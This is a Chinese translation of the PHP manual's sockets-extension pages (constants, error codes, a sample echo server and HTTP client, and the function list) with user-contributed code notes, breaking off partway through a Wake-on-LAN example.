不熟悉 socket 编程的可以在 Unix 手册上找到很多有用的信息，网上也有很多 C socket 编程方面的教程，简单修改一下就可以应用于 PHP socket 编程。» Unix Socket 常见问题 是一个不错的入门资料。

User Contributed Notes

There are no user contributed notes for this page.


安装

这里描述的 socket 函数只是 PHP 扩展的一部分，编译 PHP 时必须在 configure 中添加 --enable-sockets 配置项来启用。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

在 PHP 8.0.0 之前，
socket_accept()、socket_import_stream()、
socket_addrinfo_connect()、socket_addrinfo_bind()、
socket_create_listen()、socket_wsaprotocol_info_import()、
socket_create() 返回的类型是 Socket 资源。

在 PHP 8.0.0 之前， socket_addrinfo_lookup() 返回一个 AddressInfo 资源数组。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

AF_UNIX (int)
AF_INET (int)
AF_INET6 (int)
只有在编译时加入 IPv6 支持的时候才有效。
AF_DIVERT (int)
自 PHP 8.3.0 起有效（仅 FreeBSD）
SOCK_STREAM (int)
SOCK_DGRAM (int)
SOCK_RAW (int)
SOCK_SEQPACKET (int)
SOCK_RDM (int)
MSG_OOB (int)
MSG_WAITALL (int)
MSG_PEEK (int)
MSG_DONTROUTE (int)
MSG_EOR (int)
在 Windows 平台上无效。
MSG_EOF (int)
在 Windows 平台上无效。
MSG_ZEROCOPY (int)
从 PHP 8.2.0 起可用。
SO_DEBUG (int)
SO_REUSEADDR (int)
SO_REUSEPORT (int)
该常量只在支持 SO_REUSEPORT socket 选项的平台上可用：这包括 Linux、macOS 和 *BSD，但不包括 Windows。
SO_KEEPALIVE (int)
SO_DONTROUTE (int)
SO_LINGER (int)
SO_BROADCAST (int)
SO_OOBINLINE (int)
SO_SNDBUF (int)
SO_RCVBUF (int)
SO_SNDLOWAT (int)
SO_RCVLOWAT (int)
SO_SNDTIMEO (int)
SO_RCVTIMEO (int)
SO_TYPE (int)
SO_ERROR (int)
SO_ZEROCOPY (int)
从 PHP 8.2.0 起可用。
TCP_NODELAY (int)
用于禁用 Nagle TCP 算法。
TCP_KEEPCNT (int)
从 PHP 8.2.0 起可用。
TCP_KEEPIDLE (int)
从 PHP 8.2.0 起可用。
TCP_KEEPINTVL (int)
从 PHP 8.2.0 起可用。
TCP_KEEPALIVE (int)
从 PHP 8.2.0 起可用。
TCP_NOTSENT_LOWAT (int)
从 PHP 8.2.0 起可用。
SO_MARK (int)
从 PHP 8.1.0 开始可用。
SO_USER_COOKIE (int)
从 PHP 8.1.0 开始可用。
SO_RTABLE (int)
从 PHP 8.2.0 起可用。
SO_ACCEPTFILTER (int)
从 PHP 8.1.0 开始可用。
SO_DONTTRUNC (int)
从 PHP 8.1.0 开始可用。
SO_WANTMORE (int)
从 PHP 8.1.0 开始可用。
SO_INCOMING_CPU (int)
从 PHP 8.2.0 起可用。
SO_MEMINFO (int)
从 PHP 8.2.0 起可用。
SO_BPF_EXTENSIONS (int)
从 PHP 8.2.0 起可用。
SO_SETFIB (int)
从 PHP 8.2.0 起可用。
SO_ATTACH_REUSEPORT_CBPF (int)
自 PHP 8.3.0 起有效（仅 Linux）
SO_DETACH_BPF (int)
自 PHP 8.3.0 起有效（仅 Linux）
SO_DETACH_FILTER (int)
自 PHP 8.3.0 起有效（仅 Linux）
SO_RERROR (int)
自 PHP 8.3.0 起有效（仅 NetBSD）
SO_ZEROIZE (int)
自 PHP 8.3.0 起有效（仅 OpenBSD）
SO_SPLICE (int)
自 PHP 8.3.0 起有效（仅 OpenBSD）
SO_REUSEPORT_LB (int)
自 PHP 8.3.0 起有效（仅 FreeBSD）
SOL_FILTER (int)
从 PHP 8.2.0 起可用。
SOL_UDPLITE (int)
自 PHP 8.3.0 起有效
UDPLITE_RECV_CSCOV (int)
自 PHP 8.3.0 起有效
UDPLITE_SEND_CSCOV (int)
自 PHP 8.3.0 起有效
TCP_DEFER_ACCEPT (int)
从 PHP 8.1.0 开始可用。
TCP_CONGESTION (int)
从 PHP 8.2.0 起可用。
SOL_SOCKET (int)
PHP_NORMAL_READ (int)
PHP_BINARY_READ (int)
SOL_TCP (int)
SOL_UDP (int)

以下常量在 Windows 和类 UNIX 平台上被定义。每个常量只有在平台上有该常量值的时候才会被定义。

SOCKET_EINTR (int)
中断系统调用。
SOCKET_EBADF (int)
错误的文件描述符编号。
SOCKET_EACCES (int)
拒绝访问。
SOCKET_EFAULT (int)
错误的地址。
SOCKET_EINVAL (int)
无效的参数。
SOCKET_EMFILE (int)
打开的文件太多。
SOCKET_ENAMETOOLONG (int)
文件名过长。
SOCKET_ENOTEMPTY (int)
目录不为空。
SOCKET_ELOOP (int)
遇到了太多的符号链接。
SOCKET_EWOULDBLOCK (int)
操作将阻塞。
SOCKET_EREMOTE (int)
对象是远程。
SOCKET_EUSERS (int)
太多用户。
SOCKET_ENOTSOCK (int)
对非套接字进行套接字操作。
SOCKET_EDESTADDRREQ (int)
需要目标地址。
SOCKET_EMSGSIZE (int)
消息太长。
SOCKET_EPROTOTYPE (int)
socket 协议类型错误。
SOCKET_EPROTONOSUPPORT (int)
不支持的协议。
SOCKET_ESOCKTNOSUPPORT (int)
不支持的 socket 类型。
SOCKET_EOPNOTSUPP (int)
传输端点不支持的操作。
SOCKET_EPFNOSUPPORT (int)
不支持的协议族。
SOCKET_EAFNOSUPPORT (int)
协议不支持的地址族。
SOCKET_EADDRNOTAVAIL (int)
不能分配请求的地址。
SOCKET_ENETDOWN (int)
网络中断。
SOCKET_ENETUNREACH (int)
网络不可达。
SOCKET_ENETRESET (int)
复位，网络掉线。
SOCKET_ECONNABORTED (int)
软件导致连接中止。
SOCKET_ECONNRESET (int)
对方重置连接。
SOCKET_ENOBUFS (int)
无可用的缓存区空间。
SOCKET_EISCONN (int)
传输端点已经连接。
SOCKET_ENOTCONN (int)
传输端点未连接。
SOCKET_ESHUTDOWN (int)
传输端点关闭，无法发送。
SOCKET_ETIMEDOUT (int)
连接超时。
SOCKET_ECONNREFUSED (int)
连接被拒绝。
SOCKET_EHOSTDOWN (int)
主机已关闭。
SOCKET_EHOSTUNREACH (int)
没有路由到主机。
SOCKET_EALREADY (int)
操作已在进行中。
SOCKET_EINPROGRESS (int)
操作正在进行中。

以下常量只能在 Windows 中定义。

SOCKET_ENOPROTOOPT (int)
SOCKET_EADDRINUSE (int)
SOCKET_ETOOMYREFS (int)
SOCKET_EPROCLIM (int)
SOCKET_EDUOT (int)
SOCKET_ESTALE (int)
SOCKET_EDISCON (int)
SOCKET_SYSNOTREADY (int)
SOCKET_VERNOTSUPPORTED (int)
SOCKET_NOTINITIALISED (int)
SOCKET_HOST_NOT_FOUND (int)
SOCKET_TRY_AGAIN (int)
SOCKET_NO_RECOVERY (int)
SOCKET_NO_DATA (int)
SOCKET_NO_ADDRESS (int)

以下常量仅适用于类 UNIX。每个常量只有在该平台上此值可用时被定义。

SOCKET_EPERM (int)
操作不允许。
SOCKET_ENOENT (int)
文件或目录不存在。
SOCKET_EIO (int)
I/O 错误。
SOCKET_ENXIO (int)
未找到设备或地址。
SOCKET_E2BIG (int)
参数列表太长。
SOCKET_EAGAIN (int)
请重试。
SOCKET_ENOMEM (int)
内存不足。
SOCKET_ENOTBLK (int)
需要块设备。
SOCKET_EBUSY (int)
设备或资源忙。
SOCKET_EEXIST (int)
文件存在。
SOCKET_EXDEV (int)
跨设备链路。
SOCKET_ENODEV (int)
设备不存在。
SOCKET_ENOTDIR (int)
非目录。
SOCKET_EISDIR (int)
是目录。
SOCKET_ENFILE (int)
文件表溢出。
SOCKET_ENOTTY (int)
在 ioctl 系统调用中指定了无效的 ioctl （I/O 控制）编号。
SOCKET_ENOSPC (int)
设备上没有剩余空间。
SOCKET_ESPIPE (int)
非法查找。
SOCKET_EROFS (int)
文件系统只读。
SOCKET_EMLINK (int)
链路太多。
SOCKET_EPIPE (int)
管道断开（非正常关闭套接字）。
SOCKET_ENOLCK (int)
无可用的记录锁。
SOCKET_ENOSYS (int)
函数未实现。
SOCKET_ENOMSG (int)
没有指定的消息类型。
SOCKET_EIDRM (int)
标识符被删除。
SOCKET_ECHRNG (int)
通道数超出范围。
SOCKET_EL2NSYNC (int)
2 级未同步。
SOCKET_EL3HLT (int)
3 级停止。
SOCKET_EL3RST (int)
3 级重置。
SOCKET_ELNRNG (int)
链接数超出范围。
SOCKET_EUNATCH (int)
协议驱动没有安装。
SOCKET_ENOCSI (int)
没有可用的 CSI 结构。
SOCKET_EL2HLT (int)
2 级停止。
SOCKET_EBADE (int)
无效的交换。
SOCKET_EBADR (int)
无效的请求描述符。
SOCKET_EXFULL (int)
交换满了。
SOCKET_ENOANO (int)
无阳极。
SOCKET_EBADRQC (int)
无效的请求代码。
SOCKET_EBADSLT (int)
无效的插槽。
SOCKET_ENOSTR (int)
设备不是流。
SOCKET_ENODATA (int)
无可用的数据。
SOCKET_ETIME (int)
计时器过期。
SOCKET_ENOSR (int)
流资源不够用。
SOCKET_ENONET (int)
机器不在网络上。
SOCKET_ENOLINK (int)
链接已被切断。
SOCKET_EADV (int)
通知错误。
SOCKET_ESRMNT (int)
Srmount 错误。
SOCKET_ECOMM (int)
发送时通信错误。
SOCKET_EPROTO (int)
协议错误。
SOCKET_EMULTIHOP (int)
多跳尝试。
SOCKET_EBADMSG (int)
不是一个数据消息。
SOCKET_ENOTUNIQ (int)
名称在网络上不唯一。
SOCKET_EBADFD (int)
文件描述符处于错误状态。
SOCKET_EREMCHG (int)
远程地址改变。
SOCKET_ERESTART (int)
中断的系统调用应该被重新启动。
SOCKET_ESTRPIPE (int)
流管道错误。
SOCKET_EPROTOOPT (int)
协议不可用。
SOCKET_ADDRINUSE (int)
地址已经被占用。
SOCKET_ETOOMANYREFS (int)
过多的引用：无法接合。
SOCKET_EISNAM (int)
是一个已命名类型的文件。
SOCKET_EREMOTEIO (int)
远程 I/O 错误。
SOCKET_EDQUOT (int)
超过配额。
SOCKET_ENOMEDIUM (int)
未找到媒介。
SOCKET_EMEDIUMTYPE (int)
错误的媒介类型。
SCM_RIGHTS (int)
发送或接收一组来自另一个进程打开的文件描述符。
SCM_CREDENTIALS (int)
SCM_CREDS (int)
从 PHP 8.2.0 起可用。
SCM_CREDS2 (int)
从 PHP 8.2.0 起可用。
LOCAL_CREDS (int)
从 PHP 8.2.0 起可用。
LOCAL_CREDS_PERSISTENT (int)
从 PHP 8.2.0 起可用。
SKF_AD_OFF (int)
从 PHP 8.2.0 起可用。
SKF_AD_PROTOCOL (int)
从 PHP 8.2.0 起可用。
SKF_AD_PKTTYPE (int)
从 PHP 8.2.0 起可用。
SKF_AD_IFINDEX (int)
从 PHP 8.2.0 起可用。
SKF_AD_NLATTR (int)
从 PHP 8.2.0 起可用。
SKF_AD_NLATTR_NEST (int)
从 PHP 8.2.0 起可用。
SKF_AD_MARK (int)
从 PHP 8.2.0 起可用。
SKF_AD_QUEUE (int)
从 PHP 8.2.0 起可用。
SKF_AD_HATYPE (int)
从 PHP 8.2.0 起可用。
SKF_AD_RXHASH (int)
从 PHP 8.2.0 起可用。
SKF_AD_CPU (int)
从 PHP 8.2.0 起可用。
SKF_AD_ALU_XOR_X (int)
从 PHP 8.2.0 起可用。
SKF_AD_VLAN_TAG (int)
从 PHP 8.2.0 起可用。
SKF_AD_VLAN_TAG_PRESENT (int)
从 PHP 8.2.0 起可用。
SKF_AD_PAY_OFFSET (int)
从 PHP 8.2.0 起可用。
SKF_AD_RANDOM (int)
从 PHP 8.2.0 起可用。
SKF_AD_VLAN_TPID (int)
从 PHP 8.2.0 起可用。
SKF_AD_MAX (int)
从 PHP 8.2.0 起可用。

User Contributed Notes

kenverhaegen at gmail dot com 15-Apr-2020 10:14
Seems like SOCKET_EAGAIN is an alias of SOCKET_EWOULDBLOCK (int 11)
yyb8 at vip dot qq dot com 03-Apr-2017 05:44
note:Linux kernel 3.9  now support SO_REUSEPORT option
gvgvgvijayan at gmail dot com 07-Jun-2013 02:15
$a = get_defined_constants(TRUE);
foreach ($a as $k => $v) {
    printf('%-25s <br/>', $k);
    foreach ($v as $k => $v) {
        printf('&nbsp;&nbsp;&nbsp;&nbsp--->%-25s %d<br/>', $k, $v);
    }
}

this may look duplicate for previous anonymous post but that code snippet only return 1 for constants value
1-->first called the get_defined_constants by passing argument true to categorize the data
2-->then using foreach iterate over index of the array
3-->here printf is used to print title of the category
4-->then it move on to interrior array and display the list of contants available in each category along with its value
Anonymous 14-Apr-2012 03:20
We can know sockets constants values with :

<?php
$a = get_defined_constants(TRUE) ;
foreach ( $a['sockets'] as $constant => $value ) {
    printf("%-25s %d\r\n", $constant, $value) ;
}
?>

AF_UNIX                   1
AF_INET                   2
AF_INET6                  23
SOCK_STREAM               1
SOCK_DGRAM                2
SOCK_RAW                  3
SOCK_SEQPACKET            5
SOCK_RDM                  4
MSG_OOB                   1
MSG_WAITALL               0
MSG_PEEK                  2
MSG_DONTROUTE             4
SO_DEBUG                  1
SO_REUSEADDR              4
SO_KEEPALIVE              8
SO_DONTROUTE              16
SO_LINGER                 128
SO_BROADCAST              32
SO_OOBINLINE              256
SO_SNDBUF                 4097
SO_RCVBUF                 4098
SO_SNDLOWAT               4099
SO_RCVLOWAT               4100
SO_SNDTIMEO               4101
SO_RCVTIMEO               4102
SO_TYPE                   4104
SO_ERROR                  4103
SOL_SOCKET                65535
SOMAXCONN                 2147483647
TCP_NODELAY               1
PHP_NORMAL_READ           1
PHP_BINARY_READ           2
SOCKET_EINTR              10004
SOCKET_EBADF              10009
SOCKET_EACCES             10013
SOCKET_EFAULT             10014
SOCKET_EINVAL             10022
SOCKET_EMFILE             10024
SOCKET_EWOULDBLOCK        10035
SOCKET_EINPROGRESS        10036
SOCKET_EALREADY           10037
SOCKET_ENOTSOCK           10038
SOCKET_EDESTADDRREQ       10039
SOCKET_EMSGSIZE           10040
SOCKET_EPROTOTYPE         10041
SOCKET_ENOPROTOOPT        10042
SOCKET_EPROTONOSUPPORT    10043
SOCKET_ESOCKTNOSUPPORT    10044
SOCKET_EOPNOTSUPP         10045
SOCKET_EPFNOSUPPORT       10046
SOCKET_EAFNOSUPPORT       10047
SOCKET_EADDRINUSE         10048
SOCKET_EADDRNOTAVAIL      10049
SOCKET_ENETDOWN           10050
SOCKET_ENETUNREACH        10051
SOCKET_ENETRESET          10052
SOCKET_ECONNABORTED       10053
SOCKET_ECONNRESET         10054
SOCKET_ENOBUFS            10055
SOCKET_EISCONN            10056
SOCKET_ENOTCONN           10057
SOCKET_ESHUTDOWN          10058
SOCKET_ETOOMANYREFS       10059
SOCKET_ETIMEDOUT          10060
SOCKET_ECONNREFUSED       10061
SOCKET_ELOOP              10062
SOCKET_ENAMETOOLONG       10063
SOCKET_EHOSTDOWN          10064
SOCKET_EHOSTUNREACH       10065
SOCKET_ENOTEMPTY          10066
SOCKET_EPROCLIM           10067
SOCKET_EUSERS             10068
SOCKET_EDQUOT             10069
SOCKET_ESTALE             10070
SOCKET_EREMOTE            10071
SOCKET_EDISCON            10101
SOCKET_SYSNOTREADY        10091
SOCKET_VERNOTSUPPORTED    10092
SOCKET_NOTINITIALISED     10093
SOCKET_HOST_NOT_FOUND     11001
SOCKET_TRY_AGAIN          11002
SOCKET_NO_RECOVERY        11003
SOCKET_NO_DATA            11004
SOCKET_NO_ADDRESS         11004
SOL_TCP                   6
SOL_UDP                   17


示例

Example #1 Socket 举例：简单的 TCP/IP 服务器

这个例子展示了一个简单的对讲服务器。更改 address 和 port 以满足设置和执行。 可以使用类似于这样的命令连接到服务器：telnet 192.168.1.53 10000（address 和 port 匹配刚才的设置）。 输入的任何东西都会在服务器端进行输出，并回显。要断开连接，请输入 "quit"。

#!/usr/local/bin/php -q
<?php
error_reporting(E_ALL);

/* 允许脚本等待连接。 */
set_time_limit(0);

/* 打开绝对刷送，这样就可以看到接收了什么。 */
ob_implicit_flush();

$address = '192.168.1.53';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}

do {
if (($msgsock = socket_accept($sock)) === false) {
echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
break;
}
/* 发送说明。 */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));

do {
if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";
} while (true);
socket_close($msgsock);
} while (true);

socket_close($sock);
?>

Example #2 Socket 举例：简单的 TCP/IP 客户端

这个例子展示了一个简单的，一次性的 HTTP 客户端。 它只是连接到一个页面，提交一个 HEAD 请求，输出回复，然后退出。

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* 获取 WWW 服务的 port。 */
$service_port = getservbyname('www', 'tcp');

/* 获取目标主机的 IP 地址。 */
$address = gethostbyname('www.example.com');

/* 创建 TCP/IP 套接字。 */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
while ($out = socket_read($socket, 2048)) {
echo $out;
}

echo "Closing socket...";
socket_close($socket);
echo "OK.\n\n";
?>

User Contributed Notes

Timofey Bugaevsky 25-Dec-2022 03:53
Good example from Javier.

For using in docker container you can use 0 as an address:
$address = '0';

To broadcast a message to all clients, you can use socket_write() for all required clients:
...
    // Handle Input
    foreach ($clients as $key => $client) {
        if (in_array($client, $read)) {
            ...
            if ($buf == 'message') {
                $talkback = "$buf $key\n";
                foreach ($clients as $curClient) {
                    socket_write($curClient, $talkback, strlen($talkback));
                }
                continue;
            }
            ...
        }
    }
...
zital at riseup dot net 29-May-2017 08:16
due to PHP standars modify the code to:
<?php
//...
    $write = NULL;
    $except = NULL;
    $tv_sec = 5;

    // Set up a blocking call to socket_select
    if(socket_select($read, $write, $except, $tv_sec) < 1)
//...
?>
javier,javiern at gmail dot com 30-Aug-2012 07:25
You can easily extend the first example to handle any number of connections instead of jsut one

#!/usr/bin/env php
<?php
error_reporting(E_ALL);

/* Permitir al script esperar para conexiones. */
set_time_limit(0);

/* Activar el volcado de salida implícito, así veremos lo que estamo obteniendo
 * mientras llega. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 10000;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() falló: razón: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
}

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
}

//clients array
$clients = array();

do {
    $read = array();
    $read[] = $sock;

    $read = array_merge($read,$clients);

    // Set up a blocking call to socket_select
    if(socket_select($read,$write = NULL, $except = NULL, $tv_sec = 5) < 1)
    {
        //    SocketServer::debug("Problem blocking socket_select?");
        continue;
    }

    // Handle new Connections
    if (in_array($sock, $read)) {

        if (($msgsock = socket_accept($sock)) === false) {
            echo "socket_accept() falló: razón: " . socket_strerror(socket_last_error($sock)) . "\n";
            break;
        }
        $clients[] = $msgsock;
        $key = array_keys($clients, $msgsock);
        /* Enviar instrucciones. */
        $msg = "\nBienvenido al Servidor De Prueba de PHP. \n" .
        "Usted es el cliente numero: {$key[0]}\n" .
        "Para salir, escriba 'quit'. Para cerrar el servidor escriba 'shutdown'.\n";
        socket_write($msgsock, $msg, strlen($msg));

    }

    // Handle Input
    foreach ($clients as $key => $client) { // for each client
        if (in_array($client, $read)) {
            if (false === ($buf = socket_read($client, 2048, PHP_NORMAL_READ))) {
                echo "socket_read() falló: razón: " . socket_strerror(socket_last_error($client)) . "\n";
                break 2;
            }
            if (!$buf = trim($buf)) {
                continue;
            }
            if ($buf == 'quit') {
                unset($clients[$key]);
                socket_close($client);
                break;
            }
            if ($buf == 'shutdown') {
                socket_close($client);
                break 2;
            }
            $talkback = "Cliente {$key}: Usted dijo '$buf'.\n";
            socket_write($client, $talkback, strlen($talkback));
            echo "$buf\n";
        }

    }
} while (true);

socket_close($sock);
?>


Socket Errors

Socket 扩展编写的目的是为功能强大的 BSD Socket 提供可用的接口。它能确保这些函数在 Win32 和 Unix 平台上都能很好的工作。在特定条件下，大部分 socket 函数如果发生错误都会发出一个 E_WARNING 消息描述错误内容。有时可能并不会如开发者所愿。例如，因为连接突然中断，socket_read() 函数可能会突然发出一个 E_WARNING 消息。通常会使用 @ 操作符来压制异常，然后在程序中用 socket_last_error() 来捕获错误代码。可以调用 socket_strerror() 函数通过错误代码获取错误描述。查看函数描述获取更多信息。

Note:

Socket 扩展发出的 E_WARNING 信息都是英文的，但获取到的错误描述会根据当前区域（LC_MESSAGES）展示：

Warning - socket_bind() unable to bind address [98]: Die Adresse wird bereits verwendet

User Contributed Notes

There are no user contributed notes for this page.


Socket 函数

Table of Contents

  • socket_accept — 接受套接字上的连接
  • socket_addrinfo_bind — 从给定的 addrinfo 创建并绑定一个套接字
  • socket_addrinfo_connect — 指定 addrinfo 创建并连接套接字
  • socket_addrinfo_explain — 获取有关 addrinfo 的信息
  • socket_addrinfo_lookup — 获取数组，包含有关给定主机名的 getaddrinfo 内容
  • socket_atmark — 确认 socket 是否处于带外数据标记
  • socket_bind — 给套接字绑定名字
  • socket_clear_error — 清除套接字或者最后的错误代码上的错误
  • socket_close — 关闭 Socket 实例
  • socket_cmsg_space — Calculate message buffer size
  • socket_connect — 开启一个套接字连接
  • socket_create_listen — 在端口上打开一个套接字以接受连接
  • socket_create_pair — 创建一对彼此连接的套接字，并用数组存储
  • socket_create — 创建一个套接字（通讯节点）
  • socket_export_stream — Export a socket into a stream that encapsulates a socket
  • socket_get_option — 获取套接字的套接字选项
  • socket_getopt — 别名 socket_get_option
  • socket_getpeername — 获取套接字远端名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型
  • socket_getsockname — 获取套接字本地端的名字，返回主机名和端口号或是 Unix 文件系统路径，具体取决于套接字类型
  • socket_import_stream — 导入 stream
  • socket_last_error — 返回套接字上的最后一个错误
  • socket_listen — 监听套接字的连接
  • socket_read — 从套接字中读取最大长度的数据
  • socket_recv — 从已连接的 socket 接收数据
  • socket_recvfrom — 从套接字接收数据，无论它是否是面向连接的
  • socket_recvmsg — Read a message
  • socket_select — 从给定套接字数组运行带指定超时时间的 select() 系统调用
  • socket_send — 向已连接的套接字发送数据
  • socket_sendmsg — Send a message
  • socket_sendto — 向套接字发送消息，无论它是否已建立连接
  • socket_set_block — 设置套接字为阻塞模式
  • socket_set_nonblock — 设置套接字为非阻塞模式
  • socket_set_option — 为套接字设置套接字选项
  • socket_setopt — 别名 socket_set_option
  • socket_shutdown — 关闭套接字接收或发送，或两者都关闭
  • socket_strerror — 返回描述套接字错误的字符串
  • socket_write — 向套接字写数据
  • socket_wsaprotocol_info_export — 导出 WSAPROTOCOL_INFO 结构体
  • socket_wsaprotocol_info_import — 从另一个进程导入套接字
  • socket_wsaprotocol_info_release — 释放已导出的 WSAPROTOCOL_INFO 结构体

User Contributed Notes

paul dot hodel at gmail dot com 10-Sep-2011 04:39
After many non-sleep nights I got the most simple multi-client server written in PHP that really works. Ctrl+C and Ctrl+V... use as command line to test it. Enjoy it.

<?php

ini_set('error_reporting', E_ALL ^ E_NOTICE);
ini_set('display_errors', 1);

// Set time limit to indefinite execution
set_time_limit (0);

// Set the ip and port we will listen on
$address = '10.203.9.67';
$port = 6901;

// Create a TCP Stream socket
$sock = socket_create(AF_INET, SOCK_STREAM, 0);

// Bind the socket to an address/port
socket_bind($sock, $address, $port) or die('Could not bind to address');

// Start listening for connections
socket_listen($sock);

// Non block socket type
socket_set_nonblock($sock);

// Loop continuously
while (true)
{
    unset($read);

    $j = 0;

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            $read[$j] = $v;

            $j++;
        }
    }

    $client = $read;

    if ($newsock = @socket_accept($sock))
    {
        if (is_resource($newsock))
        {
            socket_write($newsock, "$j>", 2).chr(0);

            echo "New client connected $j";

            $client[$j] = $newsock;

            $j++;
        }
    }

    if (count($client))
    {
        foreach ($client AS $k => $v)
        {
            if (@socket_recv($v, $string, 1024, MSG_DONTWAIT) === 0)
            {
                unset($client[$k]);

                socket_close($v);
            }
            else
            {
                if ($string)
                {
                    echo "$k: $string\n";
                }
            }
        }
    }

    //echo ".";

    sleep(1);
}

// Close the master sockets
socket_close($sock);
?>
davidccook+php at gmail dot com 04-Aug-2008 09:25
Planning on sending integer values through as socket, I was surprised to find PHP only supports sending strings.
I came to the conclusion the only way to do it would be to create a string that would evaluate to the same byte values as the integer I wanted to send. So (after much messing about) I created a couple of functions: one to create this 'string' and one to convert a received value back to an integer.

<?php
//Converts an integer to 'byte array' (string), default to 4 'bytes' (chars)
function int2string($int, $numbytes=4)
{
   $str = "";
   for ($i=0; $i < $numbytes; $i++) {
     $str .= chr($int % 256);
     $int = $int / 256;
   }
   return $str;
}

//Converts a 'byte array' (string) to integer
function string2int($str)
{
   $numbytes = strlen($str);
   $int = 0;
   for ($i=0; $i < $numbytes; $i++) {
     $int += ord($str[$i]) * pow(2, $i * 8);
   }
   return $int;
}

//Example
echo int2string(16705, 2); // 16-bit integer converts to two bytes: 65, 65; which in turn is 'AA'
echo string2int('AA'); //back the other way
?>
firefly2442 at hotmail dot com 29-Mar-2008 12:31
Here's a simple script for sending messages back and forth between a server and client.  At this point, the code is fairly rough because once it enters the while loop, it doesn't stop but it can be modified and fixed.  Enjoy.

<?php
//The Server
error_reporting(E_ALL);
$address = "127.0.0.1";
$port = "10000";

/* create a socket in the AF_INET family, using SOCK_STREAM for TCP connection */
$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_bind($mysock, $address, $port);

socket_listen($mysock, 5);

$client = socket_accept($mysock);

echo "Server started, accepting connections...\n";

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to client.\n";
    socket_write($client, $i, strlen($i));

    $input = socket_read($client, 2048);
    echo "Response from client is: $input\n";
    sleep(5);
}

echo "Closing sockets...";
socket_close($client);

socket_close($mysock);

?>

<?php
//The Client
error_reporting(E_ALL);

$address = "127.0.0.1";
$port = 10000;

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "socket successfully created.\n";
}

echo "Attempting to connect to '$address' on port '$port'...";
$result = socket_connect($socket, $address, $port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "successfully connected to $address.\n";
}

$i = 0;
while (true == true)
{
    $i++;
    echo "Sending $i to server.\n";
    socket_write($socket, $i, strlen($i));

    $input = socket_read($socket, 2048);
    echo "Response from server is: $input\n";
    sleep(5);
}

echo "Closing socket...";
socket_close($socket);
?>
david dot schueler at tel-bilig dot de 14-Jan-2008 03:02
NOTE! If you are trying to send a broadcast-message using this code you _may_ get a "Permission denied"-Error at socket_connect, even if you are running this as root on a linux box.
<?php
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_connect($sock,"255.255.255.255", 10000);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
$buf = "Hello World!";
socket_write($sock,$buf,strlen($buf));
socket_close($sock);
?>
The only workaround for this is to get the broadcast address of the interface and walk through all IPs with a for-loop.
White-Gandalf 02-Sep-2007 12:03
At the moment (2007-09), i don't find this extension in the PECL, but instead in the usual php extension directory. It needs to be included in the php-ini:

extension = php_sockets.dll

(or ".so" - whatever for your system).
roberto at spadim dot com dot br 11-Feb-2007 10:27
Wake on Lan , working ok without configurations, and some features

<?php
function wake_on_lan($mac,$addr=false,$port=7) {
    //Usage
    //    $addr:
    //    You will send and broadcast tho this addres.
    //    Normaly you need to use the 255.255.255.255 adres, so i made it as default. So you don't need
    //    to do anything with this.
    //    Since 255.255.255.255 have permission denied problems you can use addr=false to get all broadcast address from ifconfig command
    //    addr can be array with broadcast IP values
    //    $mac:
    //    You will WAKE-UP this WOL-enabled computer, you need to add the MAC-addres here.
    //    Mac can be array too
    //
    //Return
    //    TRUE:    When socked was created succesvolly and the message has been send.
    //    FALSE:    Something went wrong
    //
    //Example 1
    //    When the message has been send you will see the message "Done...."
    //    if ( wake_on_lan('00:00:00:00:00:00'))
    //        echo 'Done...';
    //    else
    //        echo 'Error while sending';
    //
    if ($addr===false){
